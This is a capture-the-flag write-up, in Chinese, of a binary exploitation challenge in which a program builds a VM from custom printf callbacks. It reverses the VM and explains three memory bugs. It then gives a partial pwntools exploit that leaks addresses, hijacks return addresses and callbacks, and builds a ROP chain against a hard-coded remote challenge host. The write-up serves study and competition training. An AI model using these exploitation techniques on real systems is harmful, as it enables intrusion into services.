又是一年强网杯,很多网安人都要完成的完成 KPI...

捡了个二血,就做了这题,别的没咋看

b73f5b03df82d68b91baf2caa087b77

题目附件:
通过百度网盘分享的文件:prpr.zip
链接:https://pan.baidu.com/s/1mrbCrjnKpMOxmJiUT0Q53A?pwd=hs60
提取码:hs60

分析

程序为 printf 注册了很多回调,在遇到这些回调的时候会进入对应的 handler 处理并通过第三个参数携带格式化字符串本身的参数

img

题目使用这个机制实现了一个 VM,VM 对应的格式化字符串 vmcode 在全局段上,dump如下:

[(0, '%x', 0), (1, '%a', 0), (2, '%Y', 1), (3, '%U', 255), (4, '%k', 1), (5, '%r', 0), (6, '%S', 0), (7, '%k', 1), (8, '%U', 0), (9, '%r', 0), (10, '%S', 0), (11, '%a', 0), (12, '%Y', 2), (13, '%U', 63), (14, '%k', 2), (15, '%r', 0), (16, '%S', 0), (17, '%k', 2), (18, '%U', 0), (19, '%r', 0), (20, '%S', 0), (21, '%k', 2), (22, '%U', 4), (23, '%i', 0), (24, '%c', 0), (25, '%k', 1), (26, '%D', 0), (27, '%k', 2), (28, '%U', 4), (29, '%i', 0), (30, '%b', 0), (31, '%n', 0), (32, '%a', 0), (33, '%Y', 3), (34, '%a', 0), (35, '%Y', 4), (36, '%U', 63), (37, '%k', 4), (38, '%r', 0), (39, '%S', 0), (40, '%k', 4), (41, '%U', 0), (42, '%r', 0), (43, '%S', 0), (44, '%U', 0), (45, '%Y', 5), (46, '%k', 4), (47, '%k', 5), (48, '%r', 0), (49, '%S', 59), (50, '%g', 60), (51, '%k', 3), (52, '%C', 0), (53, '%y', 0), (54, '%k', 5), (55, '%U', 1), (56, '%A', 0), (57, '%Y', 5), (58, '%N', 46), (59, '%n', 0), (60, '%a', 0), (61, '%k', 5), (62, '%#X', 0), (63, '%k', 5), (64, '%#V', 0), (65, '%U', 255), (66, '%M', 0), (67, '%S', 0), (68, '%k', 5), (69, '%#V', 0), (70, '%n', 0), (71, '%a', 0), (72, '%Y', 0), (73, '%U', 1), (74, '%k', 0), (75, '%M', 0), (76, '%T', 79), (77, '%g', 1), (78, '%N', 71), (79, '%U', 2), (80, '%k', 0), (81, '%M', 0), (82, '%T', 85), (83, '%g', 32), (84, '%N', 71), (85, '%U', 3), (86, '%k', 0), (87, '%M', 0), (88, '%T', 91), (89, '%g', 110), (90, '%N', 71), (91, '%U', 4), (92, '%k', 0), (93, '%M', 0), (94, '%T', 97), (95, '%g', 141), (96, '%N', 71), (97, '%U', 5), (98, '%k', 0), (99, '%M', 0), (100, '%T', 103), (101, '%g', 178), (102, '%N', 71), (103, '%U', 6), (104, '%k', 0), (105, '%M', 0), (106, '%T', 109), (107, '%g', 209), (108, '%N', 71), (109, '%x', 0), (110, '%a', 0), (111, '%Y', 1), (112, '%U', 255), (113, '%k', 1), (114, '%r', 0), (115, '%S', 0), (116, '%k', 1), (117, '%U', 0), (118, '%r', 0), (119, '%S', 0), (120, '%a', 0), (121, '%Y', 2), (122, '%U', 63), (123, '%k', 2), (124, '%r', 0), (125, '%S', 0), (126, '%k', 2), (127, '%U', 0), (128, '%r', 0), (129, '%S', 0), (130, '%k', 2), (131, '%U', 4), (132, '%i', 0), (133, '%c', 0), (134, '%k', 1), (135, '%H', 0), (136, '%k', 2), (137, '%U', 4), (138, '%i', 0), (139, '%b', 0), (140, '%n', 0), (141, '%a', 0), (142, '%Y', 3), (143, '%a', 0), (144, '%Y', 4), (145, '%U', 62), (146, '%k', 4), (147, '%r', 0), (148, '%S', 0), (149, '%k', 4), (150, '%U', 0), (151, '%r', 0), (152, '%S', 0), (153, '%U', 0), (154, '%Y', 5), (155, '%k', 4), (156, '%k', 5), (157, '%r', 0), (158, '%S', 177), (159, '%g', 60), (160, '%k', 3), (161, '%G', 0), (162, '%k', 5), (163, '%#X', 0), (164, '%k', 5), (165, '%#V', 0), (166, '%U', 255), (167, '%M', 0), (168, '%S', 0), (169, '%k', 5), (170, '%#V', 0), (171, '%y', 0), (172, '%k', 5), (173, '%U', 1), (174, '%A', 0), (175, '%Y', 5), (176, '%N', 155), (177, '%n', 0), (178, '%a', 0), (179, '%Y', 1), (180, '%U', 255), (181, '%k', 1), (182, '%r', 0), (183, '%S', 0), (184, '%k', 1), (185, '%U', 0), (186, '%r', 0), (187, '%S', 0), (188, '%a', 0), (189, '%Y', 2), (190, '%U', 63), (191, '%k', 2), (192, '%r', 0), (193, '%S', 0), (194, '%k', 2), (195, '%U', 0), (196, '%r', 0), (197, '%S', 0), (198, '%k', 2), (199, '%U', 4), (200, '%i', 0), (201, '%c', 0), (202, '%k', 1), (203, '%F', 0), (204, '%k', 2), (205, '%U', 4), (206, '%i', 0), (207, '%b', 0), (208, '%n', 0), (209, '%a', 0), (210, '%Y', 3), (211, '%a', 0), (212, '%Y', 4), (213, '%U', 63), (214, '%k', 4), (215, '%r', 0), (216, '%S', 0), (217, '%k', 4), (218, '%U', 0), (219, '%r', 0), (220, '%S', 0), (221, '%U', 0), (222, '%Y', 5), (223, '%k', 4), (224, '%k', 5), (225, '%r', 0), (226, '%S', 245), (227, '%g', 60), (228, '%k', 3), (229, '%E', 0), (230, '%k', 5), (231, '%#X', 0), (232, '%k', 5), (233, '%#V', 0), (234, '%U', 255), (235, '%M', 0), (236, '%S', 0), (237, '%k', 5), (238, '%#V', 0), (239, '%y', 0), (240, '%k', 5), (241, '%U', 1), (242, '%A', 0), (243, '%Y', 5), (244, '%N', 223), (245, '%n', 0), (246, '%x', 0), (247, '%x', 0), (248, '%x', 0), (249, '%x', 0)]

虚拟机相关数据结构恢复:

00000000 struct __attribute__((packed)) __attribute__((aligned(4))) vm // sizeof=0x7654
00000000 {
00000000     struct code *code_page;
00000008     __int32 code_size;
0000000C     __int32 field_C;
00000010     __int32 *regs;
00000018     __int32 reg_nums;
0000001C     __int32 field_1C;
00000020     signed int stack[1000];
00000FC0     __int64 padding[31];
000010B8     __int32 pad1;
000010BC     __int32 pad2;
000010C0     __int32 pad3;
000010C4     struct mem_chunk mem_chunks[100];
00007654 };

00000000 struct mem_chunk // sizeof=0x104
00000000 {                                       // XREF: vm/r vm/r
00000000     char data[252];
000000FC     __int32 field1;
00000100     __int32 retaddr;
00000104 };

00000000 struct code // sizeof=0xC
00000000 {                                       // XREF: vm/r
00000000     char fmtchar[8];
00000008     __int32 arg;
0000000C };

逆向每个 handler 的作用然后编写脚本恢复出 vmcode 序列对应的伪 ASM:

import os, sys

STACK_ARG1 = "STACK[SP]"
STACK_ARG2 = "STACK[SP-1]"
OPRAND_ARG = "OPRAND"

asm_map = {
    "%A": ("vm_add", 2, STACK_ARG1, STACK_ARG2),
    "%C": ("vm_and", 2, STACK_ARG1, STACK_ARG2),
    "%D": ("vm_mem_data_and", 1, STACK_ARG1),
    "%E": ("vm_or", 2, STACK_ARG1, STACK_ARG2),
    "%F": ("vm_mem_data_or", 1, STACK_ARG1),
    "%G": ("vm_xor", 2, STACK_ARG1, STACK_ARG2),
    "%H": ("vm_mem_data_xor", 1, STACK_ARG1),
    "%i": ("vm_mul", 2, STACK_ARG1, STACK_ARG2),
    "%J": ("vm_shl", 2, STACK_ARG1, STACK_ARG2),
    "%K": ("vm_shr", 2, STACK_ARG1, STACK_ARG2),
    "%r": ("vm_greater_than", 2, STACK_ARG1, STACK_ARG2),
    "%M": ("vm_eq", 2, STACK_ARG1, STACK_ARG2),
    "%N": ("vm_jmp_addr", 1, OPRAND_ARG),
    "%S": ("vm_jmp_not_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%T": ("vm_jmp_zero", 2, STACK_ARG1, OPRAND_ARG),
    "%U": ("vm_push_int", 1, OPRAND_ARG),
    "%#V": ("vm_load_mem_to_stack", 1, STACK_ARG1),
    "%k": ("vm_push_reg", 1, OPRAND_ARG),
    "%#X": ("vm_store_stack_to_mem", 2, STACK_ARG1, STACK_ARG2),
    "%Y": ("vm_pop_reg", 1, OPRAND_ARG),
    "%y": ("vm_pop_stdout", 0),
    "%a": ("vm_push_stdin", 0),
    "%b": ("vm_show_mem_chunk", 1, STACK_ARG1),
    "%c": ("vm_read_mem_chunk", 1, STACK_ARG1),
    "%f": ("vm_pop_null", 0),
    "%g": ("vm_call", 1, OPRAND_ARG),
    "%n": ("vm_ret", 0),
    "%x": ("vm_exit", 0),
}

def dump_asm():
    code = []
    entry = 71

    arg_trans = lambda x: x if x != OPRAND_ARG else "OPRAND"

    with open('code.txt', 'r') as f:
        code = eval(f.read())

    be_jmped = []
    tagged = []

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call"]:
            be_jmped.append(oprand)

    for c in code:
        line_num = c[0]
        opcode = c[1]
        oprand = c[2]
        asm_fmt = asm_map.get(opcode)
        if not asm_fmt:
            print(f"Error: Unknown ASM code: {c[0]}")
            continue
        arg_trans = lambda x: x if x != OPRAND_ARG else oprand
        arg_num = asm_fmt[1]

        if line_num == entry:
            print("ENTRY:")
        if (line_num not in tagged) and (line_num in be_jmped):
            print(f"\nBLOCK_{line_num}:")
            tagged.append(line_num)

        if arg_num == 0:
            print(f"{line_num}:\t {asm_fmt[0]}()")
        elif arg_num == 1:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])})")
        elif arg_num == 2:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])})")
        elif arg_num == 3:
            print(f"{line_num}:\t {asm_fmt[0]}({arg_trans(asm_fmt[2])}, {arg_trans(asm_fmt[3])}, {arg_trans(asm_fmt[4])})")

        if (line_num not in tagged) and (asm_fmt[0] in ["vm_jmp_addr", "vm_jmp_not_zero", "vm_jmp_zero", "vm_call", "vm_ret"]):
            print(f"\nBLOCK_{line_num+1}:")
            tagged.append(line_num+1)

if __name__ == "__main__":
    dump_asm()

逆向恢复出来的伪 ASM 并为菜单和几个主要的子函数添加了手动注释:

BLOCK_0:
0:       vm_exit()

; ======================================
; OPTION 1
; 
; READ data to mem chunk
; AND mem chunk bytes and output
; ======================================

BLOCK_1:
1:       vm_push_stdin()
2:       vm_pop_reg(1)
3:       vm_push_int(255)
4:       vm_push_reg(1)
5:       vm_greater_than(STACK[SP], STACK[SP-1])
6:       vm_jmp_not_zero(STACK[SP], 0)

BLOCK_7:
7:       vm_push_reg(1)
8:       vm_push_int(0)
9:       vm_greater_than(STACK[SP], STACK[SP-1])
10:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_11:
11:      vm_push_stdin()
12:      vm_pop_reg(2)
13:      vm_push_int(63)
14:      vm_push_reg(2)
15:      vm_greater_than(STACK[SP], STACK[SP-1])
16:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_17:
17:      vm_push_reg(2)
18:      vm_push_int(0)
19:      vm_greater_than(STACK[SP], STACK[SP-1])
20:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_21:
21:      vm_push_reg(2)
22:      vm_push_int(4)
23:      vm_mul(STACK[SP], STACK[SP-1])
24:      vm_read_mem_chunk(STACK[SP])
25:      vm_push_reg(1)
26:      vm_mem_data_and(STACK[SP])
27:      vm_push_reg(2)
28:      vm_push_int(4)
29:      vm_mul(STACK[SP], STACK[SP-1])
30:      vm_show_mem_chunk(STACK[SP])
31:      vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 2
;
; READ data to mem chunk
; AND mem chunk ints and output
; ======================================

BLOCK_32:
32:      vm_push_stdin()
33:      vm_pop_reg(3)
34:      vm_push_stdin()
35:      vm_pop_reg(4)
36:      vm_push_int(63)
37:      vm_push_reg(4)
38:      vm_greater_than(STACK[SP], STACK[SP-1])
39:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_40:
40:      vm_push_reg(4)
41:      vm_push_int(0)
42:      vm_greater_than(STACK[SP], STACK[SP-1])
43:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_44:
44:      vm_push_int(0)
45:      vm_pop_reg(5)

BLOCK_46:
46:      vm_push_reg(4)
47:      vm_push_reg(5)
48:      vm_greater_than(STACK[SP], STACK[SP-1])
49:      vm_jmp_not_zero(STACK[SP], 59)

BLOCK_50:
50:      vm_call(60)
51:      vm_push_reg(3)
52:      vm_and(STACK[SP], STACK[SP-1])
53:      vm_pop_stdout()
54:      vm_push_reg(5)
55:      vm_push_int(1)
56:      vm_add(STACK[SP], STACK[SP-1])
57:      vm_pop_reg(5)
58:      vm_jmp_addr(46)

BLOCK_59:
59:      vm_ret()

; ======================================
; END OPTION
; ======================================

BLOCK_60:
60:      vm_push_stdin()
61:      vm_push_reg(5)
62:      vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
63:      vm_push_reg(5)
64:      vm_load_mem_to_stack(STACK[SP])
65:      vm_push_int(255)
66:      vm_eq(STACK[SP], STACK[SP-1])
67:      vm_jmp_not_zero(STACK[SP], 0)

BLOCK_68:
68:      vm_push_reg(5)
69:      vm_load_mem_to_stack(STACK[SP])
70:      vm_ret()

; ======================================
; MENU
; 
; choice 1~6:
; 1 => 1
; 2 => 32
; 3 => 110
; 4 => 141
; 5 => 178
; 6 => 209
; ======================================

BLOCK_71:
ENTRY:
71:      vm_push_stdin()
72:      vm_pop_reg(0)
73:      vm_push_int(1)
74:      vm_push_reg(0)
75:      vm_eq(STACK[SP], STACK[SP-1])
76:      vm_jmp_zero(STACK[SP], 79)

BLOCK_77:
77:      vm_call(1)
78:      vm_jmp_addr(71)

BLOCK_79:
79:      vm_push_int(2)
80:      vm_push_reg(0)
81:      vm_eq(STACK[SP], STACK[SP-1])
82:      vm_jmp_zero(STACK[SP], 85)

BLOCK_83:
83:      vm_call(32)
84:      vm_jmp_addr(71)

BLOCK_85:
85:      vm_push_int(3)
86:      vm_push_reg(0)
87:      vm_eq(STACK[SP], STACK[SP-1])
88:      vm_jmp_zero(STACK[SP], 91)

BLOCK_89:
89:      vm_call(110)
90:      vm_jmp_addr(71)

BLOCK_91:
91:      vm_push_int(4)
92:      vm_push_reg(0)
93:      vm_eq(STACK[SP], STACK[SP-1])
94:      vm_jmp_zero(STACK[SP], 97)

BLOCK_95:
95:      vm_call(141)
96:      vm_jmp_addr(71)

BLOCK_97:
97:      vm_push_int(5)
98:      vm_push_reg(0)
99:      vm_eq(STACK[SP], STACK[SP-1])
100:     vm_jmp_zero(STACK[SP], 103)

BLOCK_101:
101:     vm_call(178)
102:     vm_jmp_addr(71)

BLOCK_103:
103:     vm_push_int(6)
104:     vm_push_reg(0)
105:     vm_eq(STACK[SP], STACK[SP-1])
106:     vm_jmp_zero(STACK[SP], 109)

BLOCK_107:
107:     vm_call(209)
108:     vm_jmp_addr(71)

BLOCK_109:
109:     vm_exit()

; ======================================
; END MENU
; ======================================

; ======================================
; OPTION 3
;
; READ data to mem chunk
; XOR mem chunk bytes and output
; ======================================

BLOCK_110:
110:     vm_push_stdin()
111:     vm_pop_reg(1)
112:     vm_push_int(255)
113:     vm_push_reg(1)
114:     vm_greater_than(STACK[SP], STACK[SP-1])
115:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_116:
116:     vm_push_reg(1)
117:     vm_push_int(0)
118:     vm_greater_than(STACK[SP], STACK[SP-1])
119:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_120:
120:     vm_push_stdin()
121:     vm_pop_reg(2)
122:     vm_push_int(63)
123:     vm_push_reg(2)
124:     vm_greater_than(STACK[SP], STACK[SP-1])
125:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_126:
126:     vm_push_reg(2)
127:     vm_push_int(0)
128:     vm_greater_than(STACK[SP], STACK[SP-1])
129:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_130:
130:     vm_push_reg(2)
131:     vm_push_int(4)
132:     vm_mul(STACK[SP], STACK[SP-1])
133:     vm_read_mem_chunk(STACK[SP])
134:     vm_push_reg(1)
135:     vm_mem_data_xor(STACK[SP])
136:     vm_push_reg(2)
137:     vm_push_int(4)
138:     vm_mul(STACK[SP], STACK[SP-1])
139:     vm_show_mem_chunk(STACK[SP])
140:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 4
;
; READ data to mem chunk
; XOR mem chunk ints and output
; ======================================

BLOCK_141:
141:     vm_push_stdin()
142:     vm_pop_reg(3)
143:     vm_push_stdin()
144:     vm_pop_reg(4)
145:     vm_push_int(62)
146:     vm_push_reg(4)
147:     vm_greater_than(STACK[SP], STACK[SP-1])
148:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_149:
149:     vm_push_reg(4)
150:     vm_push_int(0)
151:     vm_greater_than(STACK[SP], STACK[SP-1])
152:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_153:
153:     vm_push_int(0)
154:     vm_pop_reg(5)

BLOCK_155:
155:     vm_push_reg(4)
156:     vm_push_reg(5)
157:     vm_greater_than(STACK[SP], STACK[SP-1])
158:     vm_jmp_not_zero(STACK[SP], 177)

BLOCK_159:
159:     vm_call(60)
160:     vm_push_reg(3)
161:     vm_xor(STACK[SP], STACK[SP-1])
162:     vm_push_reg(5)
163:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
164:     vm_push_reg(5)
165:     vm_load_mem_to_stack(STACK[SP])
166:     vm_push_int(255)
167:     vm_eq(STACK[SP], STACK[SP-1])
168:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_169:
169:     vm_push_reg(5)
170:     vm_load_mem_to_stack(STACK[SP])
171:     vm_pop_stdout()
172:     vm_push_reg(5)
173:     vm_push_int(1)
174:     vm_add(STACK[SP], STACK[SP-1])
175:     vm_pop_reg(5)
176:     vm_jmp_addr(155)

BLOCK_177:
177:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 5
;
; READ data to mem chunk
; OR mem chunk bytes and output
; ======================================

BLOCK_178:
178:     vm_push_stdin()
179:     vm_pop_reg(1)
180:     vm_push_int(255)
181:     vm_push_reg(1)
182:     vm_greater_than(STACK[SP], STACK[SP-1])
183:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_184:
184:     vm_push_reg(1)
185:     vm_push_int(0)
186:     vm_greater_than(STACK[SP], STACK[SP-1])
187:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_188:
188:     vm_push_stdin()
189:     vm_pop_reg(2)
190:     vm_push_int(63)
191:     vm_push_reg(2)
192:     vm_greater_than(STACK[SP], STACK[SP-1])
193:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_194:
194:     vm_push_reg(2)
195:     vm_push_int(0)
196:     vm_greater_than(STACK[SP], STACK[SP-1])
197:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_198:
198:     vm_push_reg(2)
199:     vm_push_int(4)
200:     vm_mul(STACK[SP], STACK[SP-1])
201:     vm_read_mem_chunk(STACK[SP])
202:     vm_push_reg(1)
203:     vm_mem_data_or(STACK[SP])
204:     vm_push_reg(2)
205:     vm_push_int(4)
206:     vm_mul(STACK[SP], STACK[SP-1])
207:     vm_show_mem_chunk(STACK[SP])
208:     vm_ret()

; ======================================
; END OPTION
; ======================================

; ======================================
; OPTION 6
;
; READ data to mem chunk
; OR mem chunk ints and output
; ======================================

BLOCK_209:
209:     vm_push_stdin()
210:     vm_pop_reg(3)
211:     vm_push_stdin()
212:     vm_pop_reg(4)
213:     vm_push_int(63)
214:     vm_push_reg(4)
215:     vm_greater_than(STACK[SP], STACK[SP-1])
216:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_217:
217:     vm_push_reg(4)
218:     vm_push_int(0)
219:     vm_greater_than(STACK[SP], STACK[SP-1])
220:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_221:
221:     vm_push_int(0)
222:     vm_pop_reg(5)

BLOCK_223:
223:     vm_push_reg(4)
224:     vm_push_reg(5)
225:     vm_greater_than(STACK[SP], STACK[SP-1])
226:     vm_jmp_not_zero(STACK[SP], 245)

BLOCK_227:
227:     vm_call(60)
228:     vm_push_reg(3)
229:     vm_or(STACK[SP], STACK[SP-1])
230:     vm_push_reg(5)
231:     vm_store_stack_to_mem(STACK[SP], STACK[SP-1])
232:     vm_push_reg(5)
233:     vm_load_mem_to_stack(STACK[SP])
234:     vm_push_int(255)
235:     vm_eq(STACK[SP], STACK[SP-1])
236:     vm_jmp_not_zero(STACK[SP], 0)

BLOCK_237:
237:     vm_push_reg(5)
238:     vm_load_mem_to_stack(STACK[SP])
239:     vm_pop_stdout()
240:     vm_push_reg(5)
241:     vm_push_int(1)
242:     vm_add(STACK[SP], STACK[SP-1])
243:     vm_pop_reg(5)
244:     vm_jmp_addr(223)

BLOCK_245:
245:     vm_ret()
; ======================================
; END OPTION
; ======================================

BLOCK_246:
246:     vm_exit()
247:     vm_exit()
248:     vm_exit()
249:     vm_exit()

利用

漏洞点有两个,一个是 option6 存在一个 mem_chunk 下标溢出,可以在逐 int 写的时候溢出一个 int,但是覆盖不到保存返回地址的位置。此时需要结合 mem_data_xor 中的另一个漏洞,该函数只要没读到 \x00 就会继续往后进行 XOR,可以实现修改一个字节的 VM 返回地址。

__int64 __fastcall sub_1910(FILE *stream, const struct printf_info *info, const void *const *args)
{
  __int64 v3; // rax
  char v4; // cl
  char *v5; // rdx
  char i; // al

  v3 = vm_sp--;
  v4 = vm->stack[v3];
  v5 = vm->mem_chunks[mem_idx].data;
  for ( i = *v5; *v5; i = *v5 )
    *v5++ = v4 ^ i;
  return 0LL;
}

但是一个字节返回地址劫持的能力太弱了...需要扩大利用优势,于是我们选择使用 50 行中的 vm_call(60)开始作为 gadget,劫持到这里的时候再次发生了函数调用,保存了返回地址到 mem_chunk 里,并且该函数会读取一个 int 值写入 curr_mem_chunk[reg5] 中,此时 reg5 的值正好是 64(完成了一次遍历++),也正好是返回地址所在的下标,因此我们就实现了劫持 4 字节返回地址的能力。返回地址以 0xc 大小的 code 结构体为单位,计算好偏移可以跳转到 mem_chunk 中的可控区域执行我们提前布置好的 vmcode,将攻击转换为任意 vmcode 执行下的 RCE。

然后进行地址泄露:

  1. 首先控制 vmcode 后可以使用 run_vm_code 中的格式化字符串泄露栈地址,ELF 地址,canary;
  2. 其次使用两次 b"%a%#V%yXXXX\x00 泄露 mem_chunk_base + offset上的值的高低 4 字节,获得 heap 地址;

    1. %#V%#X中存在第三个漏洞,使用 # 和不使用 # 会进入两条不同的分支来获取读写偏移,在使用 # 时并没有检查 offset 是否在合理范围内,造成了越界;
  3. 接着通过计算 ELF 地址和 mem_chunk_base 的地址可以泄露 ELF 上的任意值,通过泄露 got 表函数指针,确定 libc 的大致版本(题目没给 libc),并计算完成 orw 所需 gadget 地址;

此时一个 mem_chunk 的空间已经差不多被用完,通过 vm_jmp(71) 也就是跳转到 ENTRY 的位置重新开启一次 VM 程序并使用同样的操作可以进行第二次任意 vmcode 执行;

这一次我们使用两次 b"%a%a%#XDDDD\x00" 劫持 init_func_register_printf 注册到堆内存上的各种回调函数的地址,这些函数第一个参数是 FILE *stream 类型,但是实际上来源于更高地址上的栈内存,当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets,控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 (比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过,神奇),最终可以实现栈上的 ROP。

img

即使计算了远程 libc,本地和远程的堆布局依然有细微差异,通过分析远程堆应该是没有 vm 对象前的一个 free_chunk,所以导致劫持回调时的偏移不对,减去这个 chunk 大小就可以打通远程。

EXP

最终 EXP 如下:

from pwn import *
from LibcSearcher import *
import time

context.log_level = 'debug'

#p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"})
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('libc2404.so')
p = remote("123.56.219.14", 32790)

def option1(and_value, size, data:bytes):
    '''
    read mem => bytes and => show mem
    '''
    p.sendline(b'1')  
    p.sendline(str(and_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option2(and_value, size, data:list[int]):
    '''
    read ints => ints and => show ints
    '''
    p.sendline(b'2')    # option
    p.sendline(str(and_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def option3(xor_value, size, data:bytes):
    '''
    read mem => bytes xor => show mem
    '''
    p.sendline(b'3')  
    p.sendline(str(xor_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option4(xor_value, size, data:list[int]):
    '''
    read ints => ints xor => show ints
    '''
    p.sendline(b'4')    # option
    p.sendline(str(xor_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())
        p.recv()

def option5(or_value, size, data:bytes):
    '''
    read mem => bytes or => show mem
    '''
    p.sendline(b'5')  
    p.sendline(str(or_value).encode()) 
    p.sendline(str(size).encode()) 
    p.sendline(data)

def option6(or_value, size, data:list[int]):
    '''
    read ints => ints or => show ints
    '''
    p.sendline(b'6')    # option
    p.sendline(str(or_value).encode())
    p.sendline(str(size).encode())
    for i in data:
        p.sendline(str(i).encode())

def make_vm_code(fmtstr:bytes, arg:int):
    assert len(fmtstr) <= 8
    fmtstr = fmtstr.ljust(8, b"\x00")
    arg = arg & 0xffffffff
    return fmtstr + p32(arg) 

def exp():
    #gdb.attach(p, "b *0x555555554000+0x2688\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1996\nc\n")
    #gdb.attach(p, "b *0x555555554000+0x1E00\nc\n")
    p.recv()
    option6(0x1, 63, [0xdeadbeef]*64)

    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%a%#V%yXXXX\x00"

    fake_vm_code += make_vm_code(b"%N", 71)

    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    p.recvuntil(b"|")
    stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"stack_leak: {hex(stack_leak)}")
    canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"canary_leak: {hex(canary_leak)}")
    p.recvuntil(b"|")
    elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16)
    log.info(f"elf_leak: {hex(elf_leak)}")
    elf_base = elf_leak-0x1fb0
    log.info(f"elf_base: {hex(elf_base)}")

    # ====================================================
    #gdb.attach(p, "b *0x555555554000+0x2397\nc\n")
    p.sendline(b"-1008")
    p.sendline(b"-1007")
    p.recvuntil(b"HEAP")
    heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    heap_leak = (heap_leak_high << 32) + heap_leak_low
    heap_base = heap_leak - 0x8d50
    curr_mem_chunk_base = heap_base + 0x2680
    log.info(f"heap_leak: {hex(heap_leak)}")
    log.info(f"heap_base: {hex(heap_base)}")
    log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}")

    puts_got = elf_base + 0x5F58
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode())
    p.recvuntil(b"XXXX")
    tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    p.recvuntil(b"XXXX")
    tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff
    libc_puts = (tmp_leak_high << 32) + tmp_leak_low
    log.info(f"libc_puts: {hex(libc_puts)}")

    libc_base = libc_puts - 0x87bd0
    log.info(f"libc_base: {hex(libc_base)}")

    #pause()
    # ====================================================
    # NEW ROUND
    # ====================================================
    option6(0x1, 63, [0xdeadbeef]*64)
    # 0xca8
    fake_vm_code = b"A"*8
    fake_vm_code += b"FUCK" + b"\x00"
    fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc))
    fake_vm_code += b"%a%a%#XDDDD\x00"
    fake_vm_code += b"%a%a%#XDDDD\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    #fake_vm_code += b"%a%#V%yXXXX\x00"
    fake_vm_code += b"%APPPPPPPPP\x00"
    fake_vm_code += b"QWERQWERQWE\x00"

    fake_vm_code += make_vm_code(b"%Q", 0)
    fake_vm_code += make_vm_code(b"%a", 0)
    fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code])
    log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}")
    
    #gdb.attach(p, "b *0x555555554000+0x201E\nc\n")
    option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90
    p.sendline(b"-2171") # (-(0x65cc-8)) // 4

    # ===========================================================

    p.recvuntil(b"FUCK")
    p.recvuntil(b"FUCK")

    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode())
